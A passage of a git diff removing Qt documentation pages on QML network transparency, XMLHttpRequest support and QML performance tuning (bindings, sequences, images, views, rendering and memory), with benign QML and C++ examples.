-\qml -Image { - source: "images/logo.png" -} -\endqml - -Network transparency is supported throughout QML, for example: - -\list -\li Fonts - the \c source property of FontLoader is a URL -\li WebViews - the \c url property of WebView (obviously!) -\endlist - -Even QML types themselves can be on the network - if the \l {QML Viewer} is used to load -\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine -will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file. -For example if the qmldir file contains the line "World World.qml", it will load -\tt http://example.com/mystuff/World.qml -Any other resources that \tt Hello.qml referred to, usually by a relative URL, would -similarly be loaded from the network. - - -\section1 Relative vs. Absolute URLs - -Whenever an object has a property of type URL (QUrl), assigning a string to that -property will actually assign an absolute URL - by resolving the string against -the URL of the document where the string is used. - -For example, consider this content in \tt{http://example.com/mystuff/test.qml}: - -\qml -Image { - source: "images/logo.png" -} -\endqml - -The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png}, -but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned -\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png. - -If the string assigned to a URL is already an absolute URL, then "resolving" does -not change it and the URL is assigned directly. - - -\section1 Progressive Loading - -Because of the declarative nature of QML and the asynchronous nature of network resources, -objects which reference network resource generally change state as the network resource loads. -For example, an Image with a network source will initially have -a \c width and \c height of 0, a \c status of \c Loading, and a \c progress of 0.0. -While the content loads, the \c progress will increase until -the content is fully loaded from the network, -at which point the \c width and \c height become the content size, the \c status becomes \c Ready, and the \c progress reaches 1.0. -Applications can bind to these changing states to provide visual progress indicators where appropriate, or simply -bind to the \c width and \c height as if the content was a local file, adapting as those bound values change. - -Note that when objects reference local files they immediately have the \c Ready status, but applications wishing -to remain network transparent should not rely on this. Future versions of QML may also use asynchronous local file I/O -to improve performance. - - -\section1 Accessing Network Services - -QML types such as XmlListModel, and JavaScript classes like XMLHttpRequest are intended -entirely for accessing network services, which usually respond with references to -content by URLs that can then be used directly in QML. For example, using these facilities -to access an on-line photography service would provide the QML application with URLs to -photographs, which can be directly set on an \l Image \c source property. - -See the \tt examples/declarative/flickr for a real demonstration of this. - - -\section1 Configuring the Network Access Manager - -All network access from QML is managed by a QNetworkAccessManager set on the QQmlEngine which executes the QML. -By default, this is an unmodified Qt QNetworkAccessManager. You may set a different manager by -providing a QQmlNetworkAccessManagerFactory and setting it via -QQmlEngine::setNetworkAccessManagerFactory(). -For example, the \l {QML Viewer} sets a QQmlNetworkAccessManagerFactory which -creates QNetworkAccessManager that trusts HTTP Expiry headers to avoid network cache checks, -allows HTTP Pipelining, adds a persistent HTTP CookieJar, a simple disk cache, and supports proxy settings. - - -\section1 QRC Resources - -One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into -the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content -that is compiled into the executable: - -\code - QQuickView *canvas = new QQuickView; - canvas->setUrl(QUrl("qrc:/dial.qml")); -\endcode - -The content itself can then use relative URLs, and so be transparently unaware that the content is -compiled into the executable. - - -\section1 Limitations - -The \c import statement is only network transparent if it has an "as" clause. - -More specifically: -\list -\li \c{import "dir"} only works on local file systems -\li \c{import libraryUri} only works on local file systems -\li \c{import "dir" as D} works network transparently -\li \c{import libraryUrl as U} works network transparently -\endlist - -\section1 XMLHttpRequest - -\target XMLHttpRequest - -QML script supports the XMLHttpRequest object, which can be used to asynchronously obtain -data from over a network. - -The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard} -as many popular web browsers with following exceptions: -\list -\li QML's XMLHttpRequest does not enforce the same origin policy. -\li QML's XMLHttpRequest does not support \e synchronous requests. -\endlist - -Additionally, the \c responseXML XML DOM tree currently supported by QML is a reduced subset -of the \l {http://www.w3.org/TR/DOM-Level-3-Core/}{DOM Level 3 Core} API supported in a web -browser. The following objects and properties are supported by the QML implementation: - -\table -\header -\li \b {Node} -\li \b {Document} -\li \b {Element} -\li \b {Attr} -\li \b {CharacterData} -\li \b {Text} - -\row -\li -\list -\li nodeName -\li nodeValue -\li nodeType -\li parentNode -\li childNodes -\li firstChild -\li lastChild -\li previousSibling -\li nextSibling -\li attributes -\endlist - -\li -\list -\li xmlVersion -\li xmlEncoding -\li xmlStandalone -\li documentElement -\endlist - -\li -\list -\li tagName -\endlist - -\li -\list -\li name -\li value -\li ownerElement -\endlist - -\li -\list -\li data -\li length -\endlist - -\li -\list -\li isElementContentWhitespace -\li wholeText -\endlist - -\endtable - -The \l{declarative/xml/xmlhttprequest}{XMLHttpRequest example} demonstrates how to -use the XMLHttpRequest object to make a request and read the response headers. - -*/ diff --git a/doc/src/qml/performance.qdoc b/doc/src/qml/performance.qdoc deleted file mode 100644 index da9a66c..0000000 --- a/doc/src/qml/performance.qdoc +++ /dev/null @@ -1,1113 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick2-performance.html -\title QML Performance -\brief performance issues and suggestions - -\tableofcontents - -\section1 Timing Considerations - -As an application developer, you must strive to allow the rendering engine -to achieve a consistent 60 frames-per-second refresh rate. 60 FPS means -that there is approximately 16 milliseconds between each frame in which -processing can be done, which includes the processing required to upload -the draw primitives to the graphics hardware. - -In practice, this means that the application developer should use asynchronous, -event driven programming wherever possible, should use worker threads to do -significant processing, should never manually spin the event loop, and should -never spend more than a couple of milliseconds per frame within blocking functions. -Failure to do so will result in skipped frames, which has a drastic effect on the -user experience. - -\section1 Profiling - -The most important tip is: use the QML profiler included with Qt Creator. Knowing -where time is spent in an application will allow you to focus on problem areas which -actually exist, rather than problem areas which potentially exist. See the Qt Creator -manual for more information on how to use the QML profiling tool. - -Determining which bindings are being run the most often, or which functions your -application is spending the most time in, will allow you to decide whether you need -to optimize the problem areas, or redesign some implementation details of your -application so that the performance is improved. Attempting to optimize code without -profiling is likely to result in very minor rather than significant performance -improvements. - -\section1 JavaScript - -Most QML applications will have a large amount of JavaScript code in them, in the -form of dynamic functions, signal handlers, and property binding expressions. -This is not generally a problem (in fact, due to some optimizations in the QML engine -(bindings compiler, etc) it can for some use-cases be faster than calling a C++ function) -however care must be taken to ensure that unnecessary processing isn't triggered -accidentally. - -\section2 Bindings - -There are two types of bindings in QML: optimized and non-optimized bindings. -It is a good idea to keep binding expressions as simple as possible, since the -QML engine makes use of an optimized binding expression evaluator which can -evaluate simple binding expressions without needing to switch into a full -JavaScript execution environment. These optimized bindings are evaluated far -more efficiently than more complex (non-optimized) bindings. - -Things to avoid in binding expressions to maximize optimizability: -\list - \li declaring intermediate JavaScript variables - \li calling JavaScript functions - \li constructing closures or defining functions within the binding expression - \li accessing properties outside of the immediate context (generally, this means outside the component) - \li writing to other properties as side effects -\endlist - -The QML_COMPILER_STATS environment variable may be set when running a QML application -to print statistics about how many bindings were able to be optimized. - -Bindings are quickest when they know the type of objects and properties they are working -with. This means that non-final property lookup in a binding expression can be slower -in some cases, where it is possible that the type of the property being looked up has -been changed (for example, by a derived type). - -Note that if a binding cannot be optimized by the QML engine's optimized binding -expression evaluator, and thus must be evaluated by the full JavaScript environment, -some of the tips listed above will no longer apply. For example, it can sometimes be -beneficial to cache the result of property resolution in an intermediate JavaScript -variable, in a very complex binding. Upcoming sections have more information on these -sorts of optimizations. - -\section2 Type-Conversion - -One major cost of using JavaScript is that in most cases when a property from a QML -element is accessed, a JavaScript object with an external resource containing the -underlying C++ data (or a reference to it) is created. In most cases, this is fairly -inexpensive, but in others it can be quite expensive. One example of where it is -expensive is assigning a C++ QVariantMap Q_PROPERTY to a QML "variant" property. -Lists can also be expensive, although sequences of specific types (QList of int, -qreal, bool, QString, and QUrl) should be inexpensive; other list types involve an -expensive conversion cost (creating a new JavaScript Array, and adding new elements -one by one, with per-element conversion from C++ type instance to JavaScript value). - -Converting between some basic property types (such as "string" and "url" properties) -can also be expensive. Using the closest matching property type will avoid unnecessary -conversion. - -If you must expose a QVariantMap to QML, use a "var" property rather than a "variant" -property. In general, "property var" should be considered to be superior to -"property variant" for every use-case in QtQuick 2.0 (note that "property variant" -is marked as obsolete in the QtQuick 2.0 documentation), as it allows a true JavaScript -reference to be stored (which can reduce the number of conversions required in certain -expressions). - -\section2 Resolving Properties - -Property resolution takes time. While in some cases the result of a lookup can be -cached and reused, it is always best to avoid doing unnecessary work altogether, if -possible. - -In the following example, we have a block of code which is run often (in this case, it -is the contents of an explicit loop; but it could be a commonly-evaluated binding expression, -for example) and in it, we resolve the element with the "rect" id and its "color" property -multiple times: - -\qml -// bad.qml -import QtQuick 2.0 - -Item { - width: 400 - height: 200 - Rectangle { - id: rect - anchors.fill: parent - color: "blue" - } - - function printValue(which, value) { - console.log(which + " = " + value); - } - - Component.onCompleted: { - var t0 = new Date(); - for (var i = 0; i < 1000; ++i) { - printValue("red", rect.color.r); - printValue("green", rect.color.g); - printValue("blue", rect.color.b); - printValue("alpha", rect.color.a); - } - var t1 = new Date(); - console.log("Took: " + (t1.valueOf() - t0.valueOf()) + " milliseconds for 1000 iterations"); - } -} -\endqml - -We could instead resolve the common base just once in the block: - -\qml -// good.qml -import QtQuick 2.0 - -Item { - width: 400 - height: 200 - Rectangle { - id: rect - anchors.fill: parent - color: "blue" - } - - function printValue(which, value) { - console.log(which + " = " + value); - } - - Component.onCompleted: { - var t0 = new Date(); - for (var i = 0; i < 1000; ++i) { - var rectColor = rect.color; // resolve the common base. - printValue("red", rectColor.r); - printValue("green", rectColor.g); - printValue("blue", rectColor.b); - printValue("alpha", rectColor.a); - } - var t1 = new Date(); - console.log("Took: " + (t1.valueOf() - t0.valueOf()) + " milliseconds for 1000 iterations"); - } -} -\endqml - -Just this simple change results in a significant performance improvement. -Note that the code above can be improved even further (since the property -being looked up never changes during the loop processing), by hoisting the -property resolution out of the loop, as follows: - -\qml -// better.qml -import QtQuick 2.0 - -Item { - width: 400 - height: 200 - Rectangle { - id: rect - anchors.fill: parent - color: "blue" - } - - function printValue(which, value) { - console.log(which + " = " + value); - } - - Component.onCompleted: { - var t0 = new Date(); - var rectColor = rect.color; // resolve the common base outside the tight loop. - for (var i = 0; i < 1000; ++i) { - printValue("red", rectColor.r); - printValue("green", rectColor.g); - printValue("blue", rectColor.b); - printValue("alpha", rectColor.a); - } - var t1 = new Date(); - console.log("Took: " + (t1.valueOf() - t0.valueOf()) + " milliseconds for 1000 iterations"); - } -} -\endqml - -\section2 Property Bindings - -A property binding expression will be re-evaluated if any of the properties -it references are changed. As such, binding expressions should be kept as -simple as possible. - -If you have a loop where you do some processing, but only the final result -of the processing is important, it is often better to update a temporary -accumulator which you afterwards assign to the property you need to update, -rather than incrementally updating the property itself, in order to avoid -triggering re-evaluation of binding expressions during the intermediate -stages of accumulation. - -The following contrived example illustrates this point: - -\qml -// bad.qml -import QtQuick 2.0 - -Item { - id: root - width: 200 - height: 200 - property int accumulatedValue: 0 - - Text { - anchors.fill: parent - text: root.accumulatedValue.toString() - onTextChanged: console.log("text binding re-evaluated") - } - - Component.onCompleted: { - var someData = [ 1, 2, 3, 4, 5, 20 ]; - for (var i = 0; i < someData.length; ++i) { - accumulatedValue = accumulatedValue + someData[i]; - } - } -} -\endqml - -The loop in the onCompleted handler causes the "text" property binding to -be re-evaluated six times (which then results in any other property bindings -which rely on the text value, as well as the onTextChanged signal handler, -to be re-evaluated each time, and lays out the text for display each time). -This is clearly unnecessary in this case, since we really only care about -the final value of the accumulation. - -It could be rewritten as follows: - -\qml -// good.qml -import QtQuick 2.0 - -Item { - id: root - width: 200 - height: 200 - property int accumulatedValue: 0 - - Text { - anchors.fill: parent - text: root.accumulatedValue.toString() - onTextChanged: console.log("text binding re-evaluated") - } - - Component.onCompleted: { - var someData = [ 1, 2, 3, 4, 5, 20 ]; - var temp = accumulatedValue; - for (var i = 0; i < someData.length; ++i) { - temp = temp + someData[i]; - } - accumulatedValue = temp; - } -} -\endqml - -\section2 Sequence tips - -As mentioned earlier, some sequence types are fast (eg, QList, QList, -QList, QList, QStringList and QList) while others will be -much slower. Aside from using these types wherever possible instead of slower types, -there are some other performance-related semantics you need to be aware of to achieve -the best performance. - -Firstly, there are two different implementations for sequence types: one for where -the sequence is a Q_PROPERTY of a QObject (we'll call this a reference sequence), -and another for where the sequence is returned from a Q_INVOKABLE function of a -QObject (we'll call this a copy sequence). - -A reference sequence is read and written via QMetaObject::property() and thus is read -and written as a QVariant. This means that changing the value of any element in the -sequence from JavaScript will result in three steps occurring: the complete sequence -will be read from the QObject (as a QVariant, but then cast to a sequence of the correct -type); the element at the specified index will be changed in that sequence; and the -complete sequence will be written back to the QObject (as a QVariant). - -A copy sequence is far simpler as the actual sequence is stored in the JavaScript -object's resource data, so no read/modify/write cycle occurs (instead, the resource -data is modified directly). - -Therefore, writes to elements of a reference sequence will be much slower than writes -to elements of a copy sequence. In fact, writing to a single element of an N-element -reference sequence is equivalent in cost to assigning a N-element copy sequence to that -reference sequence, so you're usually better off modifying a temporary copy sequence -and then assigning the result to a reference sequence, during computation. - -Assume the existence (and prior registration into the "Qt.example 1.0" namespace) of the -following C++ type: - -\code -class SequenceTypeExample : public QQuickItem -{ - Q_OBJECT - Q_PROPERTY (QList qrealListProperty READ qrealListProperty WRITE setQrealListProperty NOTIFY qrealListPropertyChanged) - -public: - SequenceTypeExample() : QQuickItem() { m_list << 1.1 << 2.2 << 3.3; } - ~SequenceTypeExample() {} - - QList qrealListProperty() const { return m_list; } - void setQrealListProperty(const QList &list) { m_list = list; emit qrealListPropertyChanged(); } - -signals: - void qrealListPropertyChanged(); - -private: - QList m_list; -}; -\endcode - -The following example writes to elements of a reference sequence in a -tight loop, resulting in bad performance: - -\qml -// bad.qml -import QtQuick 2.0 -import Qt.example 1.0 - -SequenceTypeExample { - id: root - width: 200 - height: 200 - - Component.onCompleted: { - var t0 = new Date(); - qrealListProperty.length = 100; - for (var i = 0; i < 500; ++i) { - for (var j = 0; j < 100; ++j) { - qrealListProperty[j] = j; - } - } - var t1 = new Date(); - console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds"); - } -} -\endqml - -The QObject property read and write in the inner loop caused by the -\c{"qrealListProperty[j] = j"} expression makes this code very suboptimal. Instead, -something functionally equivalent but much faster would be: - -\qml -// good.qml -import QtQuick 2.0 -import Qt.example 1.0 - -SequenceTypeExample { - id: root - width: 200 - height: 200 - - Component.onCompleted: { - var t0 = new Date(); - var someData = [1.1, 2.2, 3.3] - someData.length = 100; - for (var i = 0; i < 500; ++i) { - for (var j = 0; j < 100; ++j) { - someData[j] = j; - } - qrealListProperty = someData; - } - var t1 = new Date(); - console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds"); - } -} -\endqml - -Secondly, a change signal for the property is emitted if any element in it changes. -If you have many bindings to a particular element in a sequence property, it is better -to create a dynamic property which is bound to that element, and use that dynamic -property as the symbol in the binding expressions instead of the sequence element, -as it will only cause re-evaluation of bindings if its value changes. - -This is an unusual use-case which most clients should never hit, but is worth being -aware of, in case you find yourself doing something like this: - -\qml -// bad.qml -import QtQuick 2.0 -import Qt.example 1.0 - -SequenceTypeExample { - id: root - - property int firstBinding: qrealListProperty[1] + 10; - property int secondBinding: qrealListProperty[1] + 20; - property int thirdBinding: qrealListProperty[1] + 30; - - Component.onCompleted: { - var t0 = new Date(); - for (var i = 0; i < 1000; ++i) { - qrealListProperty[2] = i; - } - var t1 = new Date(); - console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds"); - } -} -\endqml - -Note that even though only the element at index 2 is modified in the loop, the three -bindings will all be re-evaluated since the granularity of the change signal is that -the entire property has changed. As such, adding an intermediate binding can -sometimes be beneficial: - -\qml -// good.qml -import QtQuick 2.0 -import Qt.example 1.0 - -SequenceTypeExample { - id: root - - property int intermediateBinding: qrealListProperty[1] - property int firstBinding: intermediateBinding + 10; - property int secondBinding: intermediateBinding + 20; - property int thirdBinding: intermediateBinding + 30; - - Component.onCompleted: { - var t0 = new Date(); - for (var i = 0; i < 1000; ++i) { - qrealListProperty[2] = i; - } - var t1 = new Date(); - console.log("elapsed: " + (t1.valueOf() - t0.valueOf()) + " milliseconds"); - } -} -\endqml - -In the above example, only the intermediate binding will be re-evaluated each time, -resulting in a significant performance increase. - -\section2 Value-Type tips - -Value-type properties (font, color, vector3d, etc) have similar QObject property -and change notification semantics to sequence type properties. As such, the tips -given above for sequences are also applicable for value-type properties. While -they are usually less of a problem with value-types (since the number of -sub-properties of a value-type is usually far less than the number of elements -in a sequence), any increase in the number of bindings being re-evaluated needlessly -will have a negative impact on performance. - -\section2 Other JavaScript Objects - -Different JavaScript engines provide different optimizations. The JavaScript engine -which QtQuick 2 uses is optimized for object instantiation and property lookup, but -the optimizations which it provides relies on certain criteria. If your application -does not meet the criteria, the JavaScript engine falls back to a "slow-path" mode -with much worse performance. As such, always try to ensure you meet the following -criteria: - -\list -\li Avoid using eval() if at all possible -\li Do not delete properties of objects -\endlist - -\section1 Common Interface Elements - -\section2 Text Elements - -Calculating text layouts can be a slow operation. Consider using the \c PlainText -format instead of \c StyledText wherever possible, as this reduces the amount of work -required of the layout engine. If you cannot use \c PlainText (as you need to embed -images, or use tags to specify ranges of characters to have certain formatting (bold, -italic, etc) as opposed to the entire text) then you should use \c StyledText. - -You should only use \c AutoText if the text might be (but probably isn't) -\c StyledText as this mode will incur a parsing cost. The \c RichText mode should -not be used, as \c StyledText provides almost all of its features at a fraction of -its cost. - -\section2 Images - -Images are a vital part of any user interface. Unfortunately, they are also a big -source of problems due to the time it takes to load them, the amount of memory they -consume, and the way in which they are used. - -\section3 Asynchronous Loading - -Images are often quite large, and so it is wise to ensure that loading an image doesn't -block the UI thread. Set the "asynchronous" property of the QML Image element to -\c true to enable asynchronous loading of images from the local file system (remote -images are always loaded asynchronously) where this would not result in a negative impact -upon the aesthetics of the user interface. - -Image elements with the "asynchronous" property set to \c true will load images in -a low-priority worker thread. - -\section3 Explicit Source Size - -If your application loads a large image but displays it in a small-sized element, set -the "sourceSize" property to the size of the element being rendered to ensure that the -smaller-scaled version of the image is kept in memory, rather than the large one. - -Beware that changing the sourceSize will cause the image to be reloaded. - -\section3 Avoid Run-time Composition - -Also remember that you can avoid doing composition work at run-time by providing the -pre-composed image resource with your application (e.g., providing elements with shadow -effects). - -\section2 Position Elements With Anchors - -It is more efficient to use anchors rather than bindings to position items -relative to each other. Consider this use of bindings to position rect2 -relative to rect1: - -\code -Rectangle { - id: rect1 - x: 20 - width: 200; height: 200 -} -Rectangle { - id: rect2 - x: rect1.x - y: rect1.y + rect1.height - width: rect1.width - 20 - height: 200 -} -\endcode - -This is achieved more efficiently using anchors: - -\code -Rectangle { - id: rect1 - x: 20 - width: 200; height: 200 -} -Rectangle { - id: rect2 - height: 200 - anchors.left: rect1.left - anchors.top: rect1.bottom - anchors.right: rect1.right - anchors.rightMargin: 20 -} -\endcode - -Note that this is still not as efficient as specifying a static size, so you should still specify static sizes via -the x, y, width and height properties. - -Item coordinates are always relative to their parent, so if you wanted to be a fixed offset from your parent's -0,0 coordinate you should not use anchors. For example the following items are in the same place, but the anchors -code is not as resource efficient as fixed positioning. - -\code -Rectangle { - width: 60 - height: 60 - Rectangle { - x: 20 - y: 20 - width: 20 - height: 20 - } - Rectangle { - anchors.fill: parent - anchors.margins: 20 - } -} -\endcode - -\section1 Models and Views - -Most applications will have at least one model feeding data to a view. There are -some semantics which application developers need to be aware of, in order to achieve -maximal performance. - -\section2 Custom C++ Models - -It is often desirable to write your own custom model in C++ for use with a view in -QML. While the optimal implementation of any such model will depend heavily on the -use-case it must fulfil, some general guidelines are as follows: - -\list -\li Be as asynchronous as possible -\li Do all processing in a (low priority) worker thread -\li Batch up backend operations so that (potentially slow) I/O and IPC is minimized -\li Use a sliding slice window to cache results, whose parameters are determined with the help of profiling -\endlist - -It is important to note that using a low-priority worker thread is recommended to -minimise the risk of starving the GUI thread (which could result in worse perceived -performance). Also, remember that synchronization and locking mechanisms can be a -significant cause of slow performance, and so care should be taken to avoid -unnecessary locking. - -\section2 ListModel - -QML provides a ListModel element which can be used to feed data to a ListView. -It should suffice for most use-cases and be relatively performant so long as -it is used correctly. - -\section3 Populate Within A Worker Thread - -ListModel elements can be populated in a (low priority) worker thread in JavaScript. The -developer must explicitly call "sync()" on the ListModel from within the WorkerScript to -have the changes synchronized to the main thread. See the WorkerScript documentation -for more information. - -Please note that using a WorkerScript element will result in a separate JavaScript engine -being created (as the JavaScript engine is per-thread). This will result in increased -memory usage. Multiple WorkerScript elements will all use the same worker thread, however, -so the memory impact of using a second or third WorkerScript element is negligible once -an application already uses one. - -\section3 Don't Use Dynamic Roles - -The ListModel element in QtQuick 2.0 is much more performant than in QtQuick 1.0. The -performance improvements mainly come from assumptions about the type of roles within each -element in a given model - if the type doesn't change, the caching performance improves -dramatically. If the type can change dynamically from element to element, this optimization -becomes impossible, and the performance of the model will be an order of magnitude worse. - -Therefore, dynamic typing is disabled by default; the developer must specifically set -the boolean "dynamicRoles" property of the model to enable dynamic typing (and suffer -the attendant performance degradation). We recommend that you do not use dynamic typing -if it is possible to redesign your application to avoid it. - -\section2 Views - -View delegates should be kept as simple as possible. Have just enough QML in the delegate -to display the necessary information. Any additional functionality which is not immediately -required (e.g., if it displays more information when clicked) should not be created until -needed (see the upcoming section on lazy initialization). - -The following list is a good summary of things to keep in mind when designing a delegate: -\list -\li The fewer elements that are in a delegate, the faster they can be created, and thus - the faster the view can be scrolled. -\li Keep the number of bindings in a delegate to a minimum; in particular, use anchors - rather than bindings for relative positioning within a delegate. -\li Avoid using ShaderEffect elements within delegates. -\li Never enable clipping on a delegate. -\endlist - -You may set the \c cacheBuffer property of a view to allow asynchronous creation and -buffering of delegates outside of the visible area. Utilizing a \c cacheBuffer is -recommended for view delegates that are non-trivial and unlikely to be created within a -single frame. - -Be mindful that a \c cacheBuffer keeps additional delegates in-memory and therefore the -value derived from utilizing the \c cacheBuffer must be balanced against additional memory -usage. Developers should use benchmarking to find the best value for their use-case, since -the increased memory pressure caused by utilizing a \c cacheBuffer can, in some rare cases, -cause reduced frame rate when scrolling. - -\section1 Visual Effects - -QtQuick 2 includes several features which allow developers and designers to create -exceptionally appealing user interfaces. Fluidity and dynamic transitions as well -as visual effects can be used to great effect in an application, but some care must -be taken when using some of the features in QML as they can have performance implications. - -\section2 Animations - -In general, animating a property will cause any bindings which reference that property -to be re-evaluated. Usually, this is what is desired but in other cases it may be better -to disable the binding prior to performing the animation, and then reassign the binding -once the animation has completed. - -Avoid running JavaScript during animation. For example, running a complex JavaScript -expression for each frame of an x property animation should be avoided. - -Developers should be especially careful using script animations, as these are run in the main -thread (and therefore can cause frames to be skipped if they take too long to complete). - -\section2 Particles - -The QtQuick 2.0 Particles module allows beautiful particle effects to be integrated -seamlessly into user interfaces. However every platform has different graphics hardware -capabilities, and the Particles module is unable to limit parameters to what your hardware -can gracefully support. The more particles you attempt to render (and the larger they are), -the faster your graphics hardware will need to be in order to render at 60 FPS. Affecting -more particles requires a faster CPU. It is therefore important to test all -particle effects on your target platform carefully, to calibrate the number and size of -particles you can render at 60 FPS. - -It should be noted that a particle system can be disabled when not in use -(e.g., on a non-visible element) to avoid doing unnecessary simulation. - -See the \l{Particle System Performance Guide} for more in-depth information. - -\section2 Shaders - -Shaders written in GLSL allow for complex transformations and visual effects to be written, -however they should be used with care. Using a ShaderEffectSource causes a scene to -prerendered into an FBO before it can be drawn. This extra overhead is quite expensive. - -A ShaderEffect element can imply a ShaderEffectSource (and the indirect rendering costs -associated with that) and also involves uploading a vertex and fragment shader program -(which is then compiled into a GLSL shader). Each fragment shader runs once for every -pixel of the scene, and so these should be kept as simple as possible. - -\section1 Controlling Element Lifetime - -By partitioning an application into simple, modular components, each contained in a single -QML file, you can achieve faster application startup time and better control over memory -usage, and reduce the number of active-but-invisible elements in your application. - -\section2 Lazy Initialization - -The QML engine does some tricky things to try to ensure that loading and initialization of -components doesn't cause frames to be skipped, however there is no better way to reduce -startup time than to avoid doing work you don't need to do, and delaying the work until -it is necessary. This may be achieved by using either \l Loader or creating components -\l {Dynamic Object Management in QML}{dynamically}. - -\section3 Using Loader - -The Loader is an element which allows dynamic loading and unloading of components. - -\list -\li Using the "active" property of a Loader, initialization can be delayed until required. -\li Using the overloaded version of the "setSource()" function, initial property values can - be supplied. -\li Setting the Loader \l {Loader::asynchronous}{asynchronous} property to true may also - improve fluidity while a component is instantiated. -\endlist - -\section3 Using Dynamic Creation - -Developers can use the Qt.createComponent() function to create a component dynamically at -runtime from within JavaScript, and then call createObject() to instantiate it. Depending -on the ownership semantics specified in the call, the developer may have to delete the -created object manually. See \l {Dynamic Object Management in QML} for more information. - -\section2 Destroy Unused Elements - -Elements which are invisible because they are a child of a non-visible element (e.g., the -second tab in a tab-widget, while the first tab is shown) should be initialized lazily in -most cases, and deleted when no longer in use, to avoid the ongoing cost of leaving them -active (e.g., rendering, animations, property binding evaluation, etc). - -An item loaded with a Loader element may be released by resetting the "source" or -"sourceComponent" property of the Loader, while other items may be explicitly -released by calling destroy() on them. In some cases, it may be necessary to -leave the item active, in which case it should be made invisible at the very least. - -See the upcoming section on Rendering for more information on active but invisible elements. - -\section1 Rendering - -The scene graph used for rendering in QtQuick 2.0 allows highly dynamic, animated user -interfaces to be rendered fluidly at 60 FPS. There are some things which can -dramatically decrease rendering performance, however, and developers should be careful -to avoid these pitfalls wherever possible. - -\section2 Clipping - -Clipping is disabled by default, and should only be enabled when required. - -Clipping is a visual effect, NOT an optimization. It increases (rather than reduces) -complexity for the renderer. If clipping is enabled, an item will clip its own painting, -as well as the painting of its children, to its bounding rectangle. This stops the renderer -from being able to reorder the drawing order of elements freely, resulting in a sub-optimal -best-case scene graph traversal. - -Clipping inside a delegate is especially bad and should be avoided at all costs. - -\section2 Over-drawing and Invisible Elements - -If you have elements which are totally covered by other (opaque) elements, it is best to -set their "visible" property to \c false or they will be needlessly drawn. - -Similarly, elements which are invisible (e.g., the second tab in a tab widget, while the -first tab is shown) but need to be initialized at startup time (e.g., if the cost of -instantiating the second tab takes too long to be able to do it only when the tab is -activated), should have their "visible" property set to \c false, in order to avoid the -cost of drawing them (although as previously explained, they will still incur the cost of -any animations or bindings evaluation since they are still active). - -\section2 Manual Layouts - -The scene graph renderer is able to batch up certain operations to minimise the number of -OpenGL state changes required. However, this optimization is only possible for the -built-in layout elements provided by QtQuick 2.0, and cannot be applied to manual layouts. - -Therefore, application developers should use the Row, Column, Grid, GridView and ListView -elements instead of manual layouts wherever possible. - -\section1 Memory Allocation And Collection - -The amount of memory which will be allocated by an application and the way in which that -memory will be allocated are very important considerations. Aside from the obvious -concerns about out-of-memory conditions on memory-constrained devices, allocating memory -on the heap is a fairly computationally expensive operation, and certain allocation -strategies can result in increased fragmentation of data across pages. JavaScript uses -a managed memory heap which is automatically garbage collected, and this provides some -advantages but also has some important implications. - -An application written in QML uses memory from both the C++ heap and an automatically -managed JavaScript heap. The application developer needs to be aware of the subtleties -of each in order to maximise performance. - -\section2 Tips For QML Application Developers - -The tips and suggestions contained in this section are guidelines only, and may not be -applicable in all circumstances. Be sure to benchmark and analyse your application -carefully using empirical metrics, in order to make the best decisions possible. - -\section3 Instantiate and initialize components lazily - -If your application consists of multiple views (for example, multiple tabs) but only -one is required at any one time, you can use lazy instantiation to minimize the -amount of memory you need to have allocated at any given time. See the prior section -on \l{Lazy Initialization} for more information. - -\section3 Destroy unused objects - -If you lazily instantiate components, or dynamically create objects during a JavaScript -expression, it is often better to manually \c{destroy()} them rather than waiting for -automatic garbage collection to do so. See the prior section on -\l{Controlling Element Lifetime} for more information. - -\section3 Don't manually invoke the garbage collector - -In most cases, it is not wise to manually invoke the garbage collector, as it will block -the GUI thread for a substantial period of time. This can result in skipped frames and -jerky animations, which should be avoided at all costs. - -There are some cases where manually invoking the garbage collector is acceptable (and -this is explained in greater detail in an upcoming section), but in most cases, invoking -the garbage collector is unnecessary and counter-productive. - -\section3 Avoid complex bindings - -Aside from the reduced performance of complex bindings (for example, due to having to -enter the JavaScript execution context to perform evaluation), they also take up more -memory both on the C++ heap and the JavaScript heap than bindings which can be -evaluated by QML's optimized binding expression evaluator. - -\section3 Avoid defining multiple identical implicit types - -If a QML element has a custom property defined in QML, it becomes its own implicit type. -This is explained in greater detail in an upcoming section. If multiple identical -implicit types are defined inline in a component, some memory will be wasted. In that -situation it is usually better to explicitly define a new component which can then be -reused. - -Defining a custom property can often be a beneficial performance optimization (for -example, to reduce the number of bindings which are required or re-evaluated), or it -can improve the modularity and maintainability of a component. In those cases, using -custom properties is encouraged; however, the new type should, if it is used more than -once, be split into its own component (.qml file) in order to conserve memory. - -\section3 Re-use existing components - -If you are considering defining a new component, it's worth double checking that such a -component doesn't already exist in the component set for your platform. Otherwise, you -will be forcing the QML engine to generate and store type-data for a type which is -essentially a duplicate of another pre-existing and potentially already loaded component. - -\section3 Use module APIs instead of pragma library scripts - -If you are using a pragma library script to store application-wide instance data, -consider using a QObject module API instead. This should result in better performance, -and will result in less JavaScript heap memory being used. - -\section2 Memory Allocation in a QML Application - -The memory usage of a QML application may be split into two parts: its C++ heap usage, -and its JavaScript heap usage. Some of the memory allocated in each will be unavoidable, -as it is allocated by the QML engine or the JavaScript engine, while the rest is -dependent upon 